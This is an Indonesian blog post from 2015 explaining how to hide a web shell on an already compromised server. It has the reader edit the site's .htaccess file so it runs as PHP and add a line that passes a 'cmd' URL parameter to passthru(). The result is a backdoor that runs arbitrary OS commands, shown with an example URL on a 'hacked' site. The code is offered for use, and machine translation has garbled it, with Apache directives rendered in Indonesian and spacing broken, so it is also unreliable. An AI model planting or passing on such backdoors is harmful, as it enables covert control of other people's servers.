Wednesday 8 July 2015

.htaccess Shell | Cara Sembunyikan Shell Anda

Hari ini saya akan memberitahu Anda semua kurang tahu trik di mana Anda dapat menggunakan file .htaccess pada server Anda sudah backdoored sebagai shell untuk menjalankan perintah OS, jadi hanya mengikuti langkah-langkah sederhana yang dijelaskan di bawah.

Buka shell web PHP Anda, arahkan ke direktori public_html dan mencari file .htaccess, sekali ditemukan, klik edit pilihan.


Setelah mengklik pada pilihan edit, tambahkan baris berikut kode di file .htaccess sidik.


  <Files ~ "^ \. Ht"> 
  Agar memungkinkan, menyangkal 
  Izinkan dari semua 
  </ Files> 
  AddType application / x-httpd-php .htaccess 
  ? # <Php passthru ($ _ GET ['cmd']);  ?> 



Setelah menambahkan kode Anda, simpan, dan Anda selesai! : D

Sekarang untuk menggunakan shell .htaccess

http://www.your-hacked-website.com/.htaccess?cmd=ls

Setelah? Cmd = Anda dapat mengeksekusi perintah OS pilihan Anda.

No comments:

Post a Comment